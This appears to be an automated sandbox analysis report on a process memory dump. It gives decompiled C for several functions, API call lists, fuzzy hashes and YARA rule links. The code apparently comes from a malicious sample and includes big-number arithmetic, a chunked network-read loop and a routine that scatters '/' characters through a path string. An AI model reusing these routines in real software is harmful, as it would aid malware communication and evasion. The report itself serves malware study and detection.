0x04b253d4
0x04b253d6
0x04b253da
0x04b253de
0x00000000
0x00000000
0x04b253e4
0x04b253ed
0x04b253f3
0x04b253fd
0x04b25401
0x04b25403
0x04b25410
0x04b25414
0x04b2541c
0x04b25421
0x04b25433
0x04b25435
0x04b2543b
0x04b2543b
0x04b25444
0x04b25444
0x04b25446
0x04b2544c
0x04b2544c
0x04b2544f
0x04b25455
0x04b25458
0x04b25461
0x00000000
0x00000000
0x00000000
0x04b25461
0x04b253b5
0x04b253af
0x04b25397
0x04b25467
0x04b25467
0x04b2546d
0x04b2546d
0x04b25473
0x04b25473
0x04b2547c
0x04b25482
0x04b25482
0x04b2533e
0x04b2548b

APIs

SysAllocString.OLEAUT32(04B2C2B0), ref: 04B25349
lstrcmpW.KERNEL32(00000000,0076006F), ref: 04B2542B
SysFreeString.OLEAUT32(00000000), ref: 04B25444
SysFreeString.OLEAUT32(?), ref: 04B25473

Memory Dump Source

Source File: 00000003.00000002.470840398.0000000004B21000.00000020.00000001.sdmp, Offset: 04B20000, based on PE: true

Associated: 00000003.00000002.470825411.0000000004B20000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470855594.0000000004B2C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.470865303.0000000004B2D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470891876.0000000004B2F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$Free$Alloclstrcmp
String ID:
API String ID: 1885612795-0
Opcode ID: a12c34ad1290e8398177dff2871680d3d56366a4b3f69bf4c1265c1579879dc9
Instruction ID: a9229d41243b17cb40de8459266ba8201f8a01a45545f13b4cc2c881c98b42ad
Opcode Fuzzy Hash: a12c34ad1290e8398177dff2871680d3d56366a4b3f69bf4c1265c1579879dc9
Instruction Fuzzy Hash: 5B513E71D00529EFCB10DFA8C588DAEF7BAEF88705B148599E915EB214D735AD01CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 04B21017, Relevance: 6.1, APIs: 4, Instructions: 136
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E04B21017(signed int __eax, void* __eflags, intOrPtr _a4, signed int _a8, signed int _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				void _v92;
				void _v236;
				void* _t55;
				unsigned int _t56;
				signed int _t66;
				signed int _t74;
				void* _t76;
				signed int _t79;
				void* _t81;
				void* _t92;
				void* _t96;
				signed int* _t99;
				signed int _t101;
				signed int _t103;
				void* _t107;

				_t92 = _a12;
				_t101 = __eax;
				_t55 = E04B2A7AA(_a16, _t92);
				_t79 = _t55;
				if(_t79 == 0) {
					L18:
					return _t55;
				}
				_t56 =  *(_t92 + _t79 * 4 - 4);
				_t81 = 0;
				_t96 = 0x20;
				if(_t56 == 0) {
					L4:
					_t97 = _t96 - _t81;
					_v12 = _t96 - _t81;
					E04B2968F(_t79,  &_v236);
					 *((intOrPtr*)(_t107 + _t101 * 4 - 0xe8)) = E04B28967(_t101,  &_v236, _a8, _t96 - _t81);
					E04B28967(_t79,  &_v92, _a12, _t97);
					_v8 =  *((intOrPtr*)(_t107 + _t79 * 4 - 0x5c));
					_t66 = E04B2968F(_t101, 0x4b2d1b0);
					_t103 = _t101 - _t79;
					_a8 = _t103;
					if(_t103 < 0) {
						L17:
						E04B2968F(_a16, _a4);
						E04B21D6C(_t79,  &_v236, _a4, _t97);
						memset( &_v236, 0, 0x8c);
						_t55 = memset( &_v92, 0, 0x44);
						goto L18;
					}
					_t99 = _t107 + (_t103 + _t79) * 4 - 0xe8;
					do {
						if(_v8 != 0xffffffff) {
							_push(1);
							_push(0);
							_push(0);
							_push( *_t99);
							L04B2B0C8();
							_t74 = _t66 +  *(_t99 - 4);
							asm("adc edx, esi");
							_push(0);
							_push(_v8 + 1);
							_push(_t92);
							_push(_t74);
							L04B2B0C2();
							if(_t92 > 0 || _t74 > 0xffffffff) {
								_t74 = _t74 | 0xffffffff;
								_v16 = _v16 & 0x00000000;
							}
						} else {
							_t74 =  *_t99;
						}
						_t106 = _t107 + _a8 * 4 - 0xe8;
						_a12 = _t74;
						_t76 = E04B21FB1(_t79,  &_v92, _t92, _t107 + _a8 * 4 - 0xe8, _t107 + _a8 * 4 - 0xe8, _t74);
						while(1) {
							 *_t99 =  *_t99 - _t76;
							if( *_t99 != 0) {
								goto L14;
							}
							L13:
							_t92 =  &_v92;
							if(E04B28B62(_t79, _t92, _t106) < 0) {
								break;
							}
							L14:
							_a12 = _a12 + 1;
							_t76 = E04B29100(_t79,  &_v92, _t106, _t106);
							 *_t99 =  *_t99 - _t76;
							if( *_t99 != 0) {
								goto L14;
							}
							goto L13;
						}
						_a8 = _a8 - 1;
						_t66 = _a12;
						_t99 = _t99 - 4;
						 *(0x4b2d1b0 + _a8 * 4) = _t66;
					} while (_a8 >= 0);
					_t97 = _v12;
					goto L17;
				}
				while(_t81 < _t96) {
					_t81 = _t81 + 1;
					_t56 = _t56 >> 1;
					if(_t56 != 0) {
						continue;
					}
					goto L4;
				}
				goto L4;
			}

0x04b2101a
0x04b21026
0x04b2102c
0x04b21031
0x04b21035
0x04b21192
0x04b21196
0x04b21196
0x04b2103b
0x04b2103f
0x04b21045
0x04b21046
0x04b21051
0x04b21057
0x04b2105c
0x04b2105f
0x04b21079
0x04b21085
0x04b2108e
0x04b21098
0x04b2109d
0x04b2109f
0x04b210a2
0x04b21150
0x04b21156
0x04b21167
0x04b2117a
0x04b2118a
0x00000000
0x04b2118f
0x04b210ab
0x04b210b2
0x04b210b6
0x04b210bc
0x04b210be
0x04b210c0
0x04b210c2
0x04b210c4
0x04b210ce
0x04b210d3
0x04b210d5
0x04b210d7
0x04b210d8
0x04b210d9
0x04b210da
0x04b210e1
0x04b210e8
0x04b210eb
0x04b210eb
0x04b210b8
0x04b210b8
0x04b210b8
0x04b210f3
0x04b210fb
0x04b21104
0x04b21109
0x04b21109
0x04b2110e
0x00000000
0x00000000
0x04b21110
0x04b21113
0x04b2111d
0x00000000
0x00000000
0x04b2111f
0x04b2111f
0x04b21129
0x04b21109
0x04b2110e
0x00000000
0x00000000
0x00000000
0x04b2110e
0x04b21133
0x04b21136
0x04b21139
0x04b21140
0x04b21140
0x04b2114d
0x00000000
0x04b2114d
0x04b21048
0x04b2104c
0x04b2104d
0x04b2104f
0x00000000
0x00000000
0x00000000
0x04b2104f
0x00000000

APIs

_allmul.NTDLL(?,00000000,00000000,00000001), ref: 04B210C4
_aulldiv.NTDLL(00000000,?,00000100,00000000), ref: 04B210DA
memset.NTDLL ref: 04B2117A
memset.NTDLL ref: 04B2118A

Memory Dump Source

Source File: 00000003.00000002.470840398.0000000004B21000.00000020.00000001.sdmp, Offset: 04B20000, based on PE: true

Associated: 00000003.00000002.470825411.0000000004B20000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470855594.0000000004B2C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.470865303.0000000004B2D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470891876.0000000004B2F000.00000002.00000001.sdmp Download File

Similarity

API ID: memset$_allmul_aulldiv
String ID:
API String ID: 3041852380-0
Opcode ID: b4ac096223eed441e09e8c336a183484c65eb3687a3d7ef0888805fe2821a93b
Instruction ID: 2ac750fb1142acb4f35ec7263a37366e693d97ac0fdedcae4a3e70f6bcf30e77
Opcode Fuzzy Hash: b4ac096223eed441e09e8c336a183484c65eb3687a3d7ef0888805fe2821a93b
Instruction Fuzzy Hash: 0341C571A00269AFDB10DFACCD40BEE7774EF44310F0086A9E91DA7184D770BE558B40

Uniqueness

Uniqueness Score: -1.00%

Function 04B2A9AB, Relevance: 6.1, APIs: 4, Instructions: 126stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000008,74B04D40), ref: 04B2A9BD

Part of subcall function 04B22049: RtlAllocateHeap.NTDLL(00000000,00000000,04B27E50), ref: 04B22055

ResetEvent.KERNEL32(?), ref: 04B2AA31
GetLastError.KERNEL32 ref: 04B2AA54
GetLastError.KERNEL32 ref: 04B2AAFF

Part of subcall function 04B29039: HeapFree.KERNEL32(00000000,00000000,04B27F18,00000000,?,?,00000000), ref: 04B29045

Memory Dump Source

Source File: 00000003.00000002.470840398.0000000004B21000.00000020.00000001.sdmp, Offset: 04B20000, based on PE: true

Associated: 00000003.00000002.470825411.0000000004B20000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470855594.0000000004B2C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.470865303.0000000004B2D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470891876.0000000004B2F000.00000002.00000001.sdmp Download File

Similarity

API ID: ErrorHeapLast$AllocateEventFreeResetlstrlen
String ID:
API String ID: 943265810-0
Opcode ID: 0b49d26e9c4d7c3d7bb19bb43c5a613eae0812f4b66fcbf9a038673f76834d68
Instruction ID: 8a040f3bd870a7625a8569de79f27b07e40016e69244d4d545cbdda39c954164
Opcode Fuzzy Hash: 0b49d26e9c4d7c3d7bb19bb43c5a613eae0812f4b66fcbf9a038673f76834d68
Instruction Fuzzy Hash: 83419F71500214BBDB309FA6DE48E6F7BBDEF89700F10496AF14AE2490E776A945CB30

Uniqueness

Uniqueness Score: -1.00%

Function 04B239BF, Relevance: 6.1, APIs: 4, Instructions: 112
COMMON

Download Yara Rule

C-Code - Quality: 39%

			E04B239BF(void* __eax, void* __ecx) {
				char _v8;
				void* _v12;
				intOrPtr _v16;
				char _v20;
				void* __esi;
				intOrPtr _t36;
				intOrPtr* _t37;
				intOrPtr* _t39;
				void* _t53;
				long _t58;
				void* _t59;

				_t53 = __ecx;
				_t59 = __eax;
				_t58 = 0;
				ResetEvent( *(__eax + 0x1c));
				_push( &_v8);
				_push(4);
				_push( &_v20);
				_push( *((intOrPtr*)(_t59 + 0x18)));
				if( *0x4b2d134() != 0) {
					L5:
					if(_v8 == 0) {
						 *((intOrPtr*)(_t59 + 0x30)) = 0;
						L21:
						return _t58;
					}
					 *0x4b2d168(0, 1,  &_v12);
					if(0 != 0) {
						_t58 = 8;
						goto L21;
					}
					_t36 = E04B22049(0x1000);
					_v16 = _t36;
					if(_t36 == 0) {
						_t58 = 8;
						L18:
						_t37 = _v12;
						 *((intOrPtr*)( *_t37 + 8))(_t37);
						goto L21;
					}
					_push(0);
					_push(_v8);
					_push( &_v20);
					while(1) {
						_t39 = _v12;
						_t56 =  *_t39;
						 *((intOrPtr*)( *_t39 + 0x10))(_t39);
						ResetEvent( *(_t59 + 0x1c));
						_push( &_v8);
						_push(0x1000);
						_push(_v16);
						_push( *((intOrPtr*)(_t59 + 0x18)));
						if( *0x4b2d134() != 0) {
							goto L13;
						}
						_t58 = GetLastError();
						if(_t58 != 0x3e5) {
							L15:
							E04B29039(_v16);
							if(_t58 == 0) {
								_t58 = E04B27A07(_v12, _t59);
							}
							goto L18;
						}
						_t58 = E04B21C47( *(_t59 + 0x1c), _t56, 0xffffffff);
						if(_t58 != 0) {
							goto L15;
						}
						_t58 =  *((intOrPtr*)(_t59 + 0x28));
						if(_t58 != 0) {
							goto L15;
						}
						L13:
						_t58 = 0;
						if(_v8 == 0) {
							goto L15;
						}
						_push(0);
						_push(_v8);
						_push(_v16);
					}
				}
				_t58 = GetLastError();
				if(_t58 != 0x3e5) {
					L4:
					if(_t58 != 0) {
						goto L21;
					}
					goto L5;
				}
				_t58 = E04B21C47( *(_t59 + 0x1c), _t53, 0xffffffff);
				if(_t58 != 0) {
					goto L21;
				}
				_t58 =  *((intOrPtr*)(_t59 + 0x28));
				goto L4;
			}

0x04b239bf
0x04b239ce
0x04b239d3
0x04b239d5
0x04b239da
0x04b239db
0x04b239e0
0x04b239e1
0x04b239ec
0x04b23a1d
0x04b23a22
0x04b23ae5
0x04b23ae8
0x04b23aee
0x04b23aee
0x04b23a2f
0x04b23a37
0x04b23ae2
0x00000000
0x04b23ae2
0x04b23a42
0x04b23a49
0x04b23a4c
0x04b23ad4
0x04b23ad5
0x04b23ad5
0x04b23adb
0x00000000
0x04b23adb
0x04b23a52
0x04b23a54
0x04b23a5a
0x04b23a5b
0x04b23a5b
0x04b23a5e
0x04b23a61
0x04b23a67
0x04b23a6c
0x04b23a6d
0x04b23a72
0x04b23a75
0x04b23a80
0x00000000
0x00000000
0x04b23a88
0x04b23a90
0x04b23ab9
0x04b23abc
0x04b23ac3
0x04b23ace
0x04b23ace
0x00000000
0x04b23ac3
0x04b23a9c
0x04b23aa0
0x00000000
0x00000000
0x04b23aa2
0x04b23aa7
0x00000000
0x00000000
0x04b23aa9
0x04b23aa9
0x04b23aae
0x00000000
0x00000000
0x04b23ab0
0x04b23ab1
0x04b23ab4
0x04b23ab4
0x04b23a5b
0x04b239f4
0x04b239fc
0x04b23a15
0x04b23a17
0x00000000
0x00000000
0x00000000
0x04b23a17
0x04b23a08
0x04b23a0c
0x00000000
0x00000000
0x04b23a12
0x00000000

APIs

ResetEvent.KERNEL32(?), ref: 04B239D5
GetLastError.KERNEL32 ref: 04B239EE

Part of subcall function 04B21C47: WaitForMultipleObjects.KERNEL32(00000002,04B2AA72,00000000,04B2AA72,?,?,?,04B2AA72,0000EA60), ref: 04B21C62

ResetEvent.KERNEL32(?), ref: 04B23A67
GetLastError.KERNEL32 ref: 04B23A82

Memory Dump Source

Source File: 00000003.00000002.470840398.0000000004B21000.00000020.00000001.sdmp, Offset: 04B20000, based on PE: true

Associated: 00000003.00000002.470825411.0000000004B20000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470855594.0000000004B2C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.470865303.0000000004B2D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470891876.0000000004B2F000.00000002.00000001.sdmp Download File

Similarity

API ID: ErrorEventLastReset$MultipleObjectsWait
String ID:
API String ID: 2394032930-0
Opcode ID: 47fdfad3316a3eee2ca65d3aec03a3d8d6022b3025919e7635bde6e64b5da44f
Instruction ID: 0565ba4feafda85c8e5f230412314dcce3f50f84033d05e43d66a60fdb8aa23c
Opcode Fuzzy Hash: 47fdfad3316a3eee2ca65d3aec03a3d8d6022b3025919e7635bde6e64b5da44f
Instruction Fuzzy Hash: E3319132A00614BBDB21DFB4CE44A6E77F9EF85360F1005B9E919A7190EB39F9469B10

Uniqueness

Uniqueness Score: -1.00%

Function 04B242EA, Relevance: 6.1, APIs: 4, Instructions: 95
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E04B242EA(signed int _a4, signed int* _a8) {
				void* __ecx;
				void* __edi;
				signed int _t6;
				intOrPtr _t8;
				intOrPtr _t12;
				short* _t19;
				void* _t25;
				void* _t26;
				signed int* _t28;
				CHAR* _t30;
				long _t31;
				intOrPtr* _t32;

				_t6 =  *0x4b2d270; // 0xd448b889
				_t32 = _a4;
				_a4 = _t6 ^ 0x109a6410;
				_t8 =  *0x4b2d27c; // 0x9ba5a8
				_t3 = _t8 + 0x4b2e862; // 0x61636f4c
				_t25 = 0;
				_t30 = E04B27A9A(_t3, 1);
				if(_t30 != 0) {
					_t25 = CreateEventA(0x4b2d2a8, 1, 0, _t30);
					E04B29039(_t30);
				}
				_t12 =  *0x4b2d25c; // 0x4000000a
				if(_t12 <= 5 || _t12 == 6 && _t12 >= 2 ||  *_t32 == 0 || E04B2757F() != 0) {
					L12:
					_t28 = _a8;
					if(_t28 != 0) {
						 *_t28 =  *_t28 | 0x00000001;
					}
					_t31 = E04B2205E(_t32, _t26);
					if(_t31 == 0 && _t25 != 0) {
						_t31 = WaitForSingleObject(_t25, 0x4e20);
					}
					if(_t28 != 0 && _t31 != 0) {
						 *_t28 =  *_t28 & 0xfffffffe;
					}
					goto L20;
				} else {
					_t19 =  *0x4b2d0f0( *_t32, 0x20);
					if(_t19 != 0) {
						 *_t19 = 0;
						_t19 = _t19 + 2;
					}
					_t31 = E04B2A501(0,  *_t32, _t19, 0);
					if(_t31 == 0) {
						if(_t25 == 0) {
							L22:
							return _t31;
						}
						_t31 = WaitForSingleObject(_t25, 0x4e20);
						if(_t31 == 0) {
							L20:
							if(_t25 != 0) {
								CloseHandle(_t25);
							}
							goto L22;
						}
					}
					goto L12;
				}
			}

0x04b242eb
0x04b242f2
0x04b242fc
0x04b24300
0x04b24306
0x04b24315
0x04b2431c
0x04b24320
0x04b24332
0x04b24334
0x04b24334
0x04b24339
0x04b24340
0x04b24395
0x04b24395
0x04b2439b
0x04b2439d
0x04b2439d
0x04b243a7
0x04b243ab
0x04b243bd
0x04b243bd
0x04b243c1
0x04b243c7
0x04b243c7
0x00000000
0x04b24359
0x04b2435e
0x04b24366
0x04b24368
0x04b2436c
0x04b2436c
0x04b24379
0x04b2437d
0x04b24381
0x04b243d6
0x04b243dc
0x04b243dc
0x04b2438f
0x04b24393
0x04b243ca
0x04b243cc
0x04b243cf
0x04b243cf
0x00000000
0x04b243cc
0x04b24393
0x00000000
0x04b2437d

APIs

Part of subcall function 04B27A9A: lstrlen.KERNEL32(04B223E9,00000000,00000000,00000027,00000005,00000000,00000000,04B296DA,74666F53,00000000,04B223E9,04B2D00C,?,04B223E9), ref: 04B27AD0
Part of subcall function 04B27A9A: lstrcpy.KERNEL32(00000000,00000000), ref: 04B27AF4
Part of subcall function 04B27A9A: lstrcat.KERNEL32(00000000,00000000), ref: 04B27AFC

CreateEventA.KERNEL32(04B2D2A8,00000001,00000000,00000000,61636F4C,00000001,00000000,00000001,?,00000000,?,04B23CA0,?,00000001,?), ref: 04B2432B

Part of subcall function 04B29039: HeapFree.KERNEL32(00000000,00000000,04B27F18,00000000,?,?,00000000), ref: 04B29045

WaitForSingleObject.KERNEL32(00000000,00004E20,04B23CA0,00000000,00000000,?,00000000,?,04B23CA0,?,00000001,?,?,?,?,04B26880), ref: 04B24389
WaitForSingleObject.KERNEL32(00000000,00004E20,61636F4C,00000001,00000000,00000001,?,00000000,?,04B23CA0,?,00000001,?), ref: 04B243B7
CloseHandle.KERNEL32(00000000,61636F4C,00000001,00000000,00000001,?,00000000,?,04B23CA0,?,00000001,?,?,?,?,04B26880), ref: 04B243CF

Memory Dump Source

Source File: 00000003.00000002.470840398.0000000004B21000.00000020.00000001.sdmp, Offset: 04B20000, based on PE: true

Associated: 00000003.00000002.470825411.0000000004B20000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470855594.0000000004B2C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.470865303.0000000004B2D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470891876.0000000004B2F000.00000002.00000001.sdmp Download File

Similarity

API ID: ObjectSingleWait$CloseCreateEventFreeHandleHeaplstrcatlstrcpylstrlen
String ID:
API String ID: 73268831-0
Opcode ID: 944c8cbf762bae45528e3594d91a6ee3d54c42e9e0c6d6681cfc7727842e0e87
Instruction ID: b65b9279b7e3814c5c2fe55241ba4e3d5ba42c8ba86941b0e72ed45070214f15
Opcode Fuzzy Hash: 944c8cbf762bae45528e3594d91a6ee3d54c42e9e0c6d6681cfc7727842e0e87
Instruction Fuzzy Hash: EA2123335002319BE7315EB89F44B6F77A8EB88710F1506B6F95EDB100DB76EC0186A4

Uniqueness

Uniqueness Score: -1.00%

Function 04B2A0B2, Relevance: 6.1, APIs: 4, Instructions: 92
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E04B2A0B2(void* __ecx, void* __esi) {
				char _v8;
				long _v12;
				char _v16;
				long _v20;
				long _t34;
				long _t39;
				long _t42;
				long _t56;
				intOrPtr _t58;
				void* _t59;
				intOrPtr* _t60;
				void* _t61;

				_t61 = __esi;
				_t59 = __ecx;
				_t60 =  *0x4b2d144; // 0x4b2ad81
				 *((intOrPtr*)(__esi + 0x2c)) = 0;
				do {
					_t34 = WaitForSingleObject( *(_t61 + 0x1c), 0);
					_v20 = _t34;
					if(_t34 != 0) {
						L3:
						_push( &_v16);
						_push( &_v8);
						_push(_t61 + 0x2c);
						_push(0x20000013);
						_push( *((intOrPtr*)(_t61 + 0x18)));
						_v8 = 4;
						_v16 = 0;
						if( *_t60() == 0) {
							_t39 = GetLastError();
							_v12 = _t39;
							if(_v20 == 0 || _t39 != 0x2ef3) {
								L15:
								return _v12;
							} else {
								goto L11;
							}
						}
						if(_v8 != 4 ||  *((intOrPtr*)(_t61 + 0x2c)) == 0) {
							goto L11;
						} else {
							_v16 = 0;
							_v8 = 0;
							 *_t60( *((intOrPtr*)(_t61 + 0x18)), 0x16, 0,  &_v8,  &_v16);
							_t58 = E04B22049(_v8 + 1);
							if(_t58 == 0) {
								_v12 = 8;
							} else {
								_push( &_v16);
								_push( &_v8);
								_push(_t58);
								_push(0x16);
								_push( *((intOrPtr*)(_t61 + 0x18)));
								if( *_t60() == 0) {
									E04B29039(_t58);
									_v12 = GetLastError();
								} else {
									 *((char*)(_t58 + _v8)) = 0;
									 *((intOrPtr*)(_t61 + 0xc)) = _t58;
								}
							}
							goto L15;
						}
					}
					SetEvent( *(_t61 + 0x1c));
					_t56 =  *((intOrPtr*)(_t61 + 0x28));
					_v12 = _t56;
					if(_t56 != 0) {
						goto L15;
					}
					goto L3;
					L11:
					_t42 = E04B21C47( *(_t61 + 0x1c), _t59, 0xea60);
					_v12 = _t42;
				} while (_t42 == 0);
				goto L15;
			}

0x04b2a0b2
0x04b2a0b2
0x04b2a0bc
0x04b2a0c2
0x04b2a0c5
0x04b2a0c9
0x04b2a0d1
0x04b2a0d4
0x04b2a0ed
0x04b2a0f0
0x04b2a0f4
0x04b2a0f8
0x04b2a0f9
0x04b2a0fe
0x04b2a101
0x04b2a108
0x04b2a10f
0x04b2a162
0x04b2a16b
0x04b2a16e
0x04b2a1a9
0x04b2a1af
0x00000000
0x00000000
0x00000000
0x04b2a16e
0x04b2a115
0x00000000
0x04b2a11c
0x04b2a12a
0x04b2a12d
0x04b2a130
0x04b2a13c
0x04b2a140
0x04b2a1a2
0x04b2a142
0x04b2a145
0x04b2a149
0x04b2a14a
0x04b2a14b
0x04b2a14d
0x04b2a154
0x04b2a192
0x04b2a19d
0x04b2a156
0x04b2a159
0x04b2a15d
0x04b2a15d
0x04b2a154
0x00000000
0x04b2a140
0x04b2a115
0x04b2a0d9
0x04b2a0df
0x04b2a0e4
0x04b2a0e7
0x00000000
0x00000000
0x00000000
0x04b2a177
0x04b2a17f
0x04b2a186
0x04b2a186
0x00000000

APIs

WaitForSingleObject.KERNEL32(?,00000000,00000000,00000102,?,00000000,00000000,74B481D0), ref: 04B2A0C9
SetEvent.KERNEL32(?), ref: 04B2A0D9
GetLastError.KERNEL32 ref: 04B2A162

Part of subcall function 04B21C47: WaitForMultipleObjects.KERNEL32(00000002,04B2AA72,00000000,04B2AA72,?,?,?,04B2AA72,0000EA60), ref: 04B21C62

Part of subcall function 04B29039: HeapFree.KERNEL32(00000000,00000000,04B27F18,00000000,?,?,00000000), ref: 04B29045

GetLastError.KERNEL32(00000000), ref: 04B2A197

Memory Dump Source

Source File: 00000003.00000002.470840398.0000000004B21000.00000020.00000001.sdmp, Offset: 04B20000, based on PE: true

Associated: 00000003.00000002.470825411.0000000004B20000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470855594.0000000004B2C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.470865303.0000000004B2D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470891876.0000000004B2F000.00000002.00000001.sdmp Download File

Similarity

API ID: ErrorLastWait$EventFreeHeapMultipleObjectObjectsSingle
String ID:
API String ID: 602384898-0
Opcode ID: d223018e94ce301cf0ee0356f72072fe79b2c6d841151d9c397c69f96b37179d
Instruction ID: 48305db2078308cdf1dbbb5530f69c9dbe5fd5c236b2aba66b83ee5c3796eb21
Opcode Fuzzy Hash: d223018e94ce301cf0ee0356f72072fe79b2c6d841151d9c397c69f96b37179d
Instruction Fuzzy Hash: BE312EB5D00318EFEB20DFA5DE8099EBBB8EF09351F1049AAE506E2141D775AA54DF20

Uniqueness

Uniqueness Score: -1.00%

Function 04B23BF1, Relevance: 6.1, APIs: 4, Instructions: 87
sleepCOMMON

Download Yara Rule

C-Code - Quality: 40%

			E04B23BF1(void* __ecx, void* __eflags, intOrPtr _a4, signed int* _a8, intOrPtr _a12) {
				intOrPtr _v12;
				void* _v16;
				void* _v28;
				char _v32;
				void* __esi;
				void* _t29;
				void* _t38;
				signed int* _t39;
				void* _t40;

				_t36 = __ecx;
				_v32 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v12 = _a4;
				_t38 = E04B29763(__ecx,  &_v32);
				if(_t38 != 0) {
					L12:
					_t39 = _a8;
					L13:
					if(_t39 != 0 && ( *_t39 & 0x00000001) == 0) {
						_t16 =  &(_t39[1]); // 0x5
						_t23 = _t16;
						if( *_t16 != 0) {
							E04B2A022(_t23);
						}
					}
					return _t38;
				}
				if(E04B2A72D(0x40,  &_v16) != 0) {
					_v16 = 0;
				}
				_t40 = CreateEventA(0x4b2d2a8, 1, 0,  *0x4b2d344);
				if(_t40 != 0) {
					SetEvent(_t40);
					Sleep(0xbb8);
					CloseHandle(_t40);
				}
				_push( &_v32);
				if(_a12 == 0) {
					_t29 = E04B28A51(_t36);
				} else {
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_t29 = E04B217D5(_t36);
				}
				_t41 = _v16;
				_t38 = _t29;
				if(_v16 != 0) {
					E04B21F99(_t41);
				}
				if(_t38 != 0) {
					goto L12;
				} else {
					_t39 = _a8;
					_t38 = E04B242EA( &_v32, _t39);
					goto L13;
				}
			}

0x04b23bf1
0x04b23bfe
0x04b23c04
0x04b23c05
0x04b23c06
0x04b23c07
0x04b23c08
0x04b23c0c
0x04b23c18
0x04b23c1c
0x04b23ca4
0x04b23ca4
0x04b23ca7
0x04b23ca9
0x04b23cb1
0x04b23cb1
0x04b23cb7
0x04b23cba
0x04b23cba
0x04b23cb7
0x04b23cc5
0x04b23cc5
0x04b23c2f
0x04b23c31
0x04b23c31
0x04b23c48
0x04b23c4c
0x04b23c4f
0x04b23c5a
0x04b23c61
0x04b23c61
0x04b23c6d
0x04b23c6e
0x04b23c7c
0x04b23c70
0x04b23c70
0x04b23c71
0x04b23c72
0x04b23c73
0x04b23c74
0x04b23c75
0x04b23c75
0x04b23c81
0x04b23c86
0x04b23c88
0x04b23c8a
0x04b23c8a
0x04b23c91
0x00000000
0x04b23c93
0x04b23c93
0x04b23ca0
0x00000000
0x04b23ca0

APIs

CreateEventA.KERNEL32(04B2D2A8,00000001,00000000,00000040,00000001,?,74B5F710,00000000,74B5F730,?,?,?,04B26880,?,00000001,?), ref: 04B23C42
SetEvent.KERNEL32(00000000,?,?,?,04B26880,?,00000001,?,00000002,?,?,04B22417,?), ref: 04B23C4F
Sleep.KERNEL32(00000BB8,?,?,?,04B26880,?,00000001,?,00000002,?,?,04B22417,?), ref: 04B23C5A
CloseHandle.KERNEL32(00000000,?,?,?,04B26880,?,00000001,?,00000002,?,?,04B22417,?), ref: 04B23C61

Part of subcall function 04B28A51: WaitForSingleObject.KERNEL32(00000000,?,?,?,04B23C81,?,04B23C81,?,?,?,?,?,04B23C81,?), ref: 04B28B2B

Memory Dump Source

Source File: 00000003.00000002.470840398.0000000004B21000.00000020.00000001.sdmp, Offset: 04B20000, based on PE: true

Associated: 00000003.00000002.470825411.0000000004B20000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470855594.0000000004B2C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.470865303.0000000004B2D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470891876.0000000004B2F000.00000002.00000001.sdmp Download File

Similarity

API ID: Event$CloseCreateHandleObjectSingleSleepWait
String ID:
API String ID: 2559942907-0
Opcode ID: 8075693787ca8c9214f39d5dc240afe8e659b00011b1986b4022cc9ec0d5f397
Instruction ID: ab9fe0c569b6b442f59a31622de38f104093e230d2b25bd7f8fd9e4df7792de7
Opcode Fuzzy Hash: 8075693787ca8c9214f39d5dc240afe8e659b00011b1986b4022cc9ec0d5f397
Instruction Fuzzy Hash: F9218872D00325ABDB20AFF48A848EEB7BDEF48354B0154A5ED19A7100D77DF9458BA1

Uniqueness

Uniqueness Score: -1.00%

Function 04B2788B, Relevance: 6.1, APIs: 4, Instructions: 61
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E04B2788B(unsigned int __eax, void* __ecx) {
				void* _v8;
				void* _v12;
				signed int _t21;
				signed short _t23;
				char* _t27;
				void* _t29;
				void* _t30;
				unsigned int _t33;
				void* _t37;
				unsigned int _t38;
				void* _t41;
				void* _t42;
				int _t45;
				void* _t46;

				_t42 = __eax;
				__imp__(__eax, _t37, _t41, _t29, __ecx, __ecx);
				_t38 = __eax;
				_t30 = RtlAllocateHeap( *0x4b2d238, 0, (__eax >> 3) + __eax + 1);
				_v12 = _t30;
				if(_t30 != 0) {
					_v8 = _t42;
					do {
						_t33 = 0x18;
						if(_t38 <= _t33) {
							_t33 = _t38;
						}
						_t21 =  *0x4b2d250; // 0x886a89e3
						_t23 = 0x3c6ef35f + _t21 * 0x19660d;
						 *0x4b2d250 = _t23;
						_t45 = (_t23 & 0x0000ffff) % (_t33 + 0xfffffff8) + 8;
						memcpy(_t30, _v8, _t45);
						_v8 = _v8 + _t45;
						_t27 = _t30 + _t45;
						_t38 = _t38 - _t45;
						_t46 = _t46 + 0xc;
						 *_t27 = 0x2f;
						_t13 = _t27 + 1; // 0x1
						_t30 = _t13;
					} while (_t38 > 8);
					memcpy(_t30, _v8, _t38 + 1);
				}
				return _v12;
			}

0x04b27893
0x04b27896
0x04b2789c
0x04b278b4
0x04b278b8
0x04b278bb
0x04b278bd
0x04b278c0
0x04b278c2
0x04b278c5
0x04b278c7
0x04b278c7
0x04b278c9
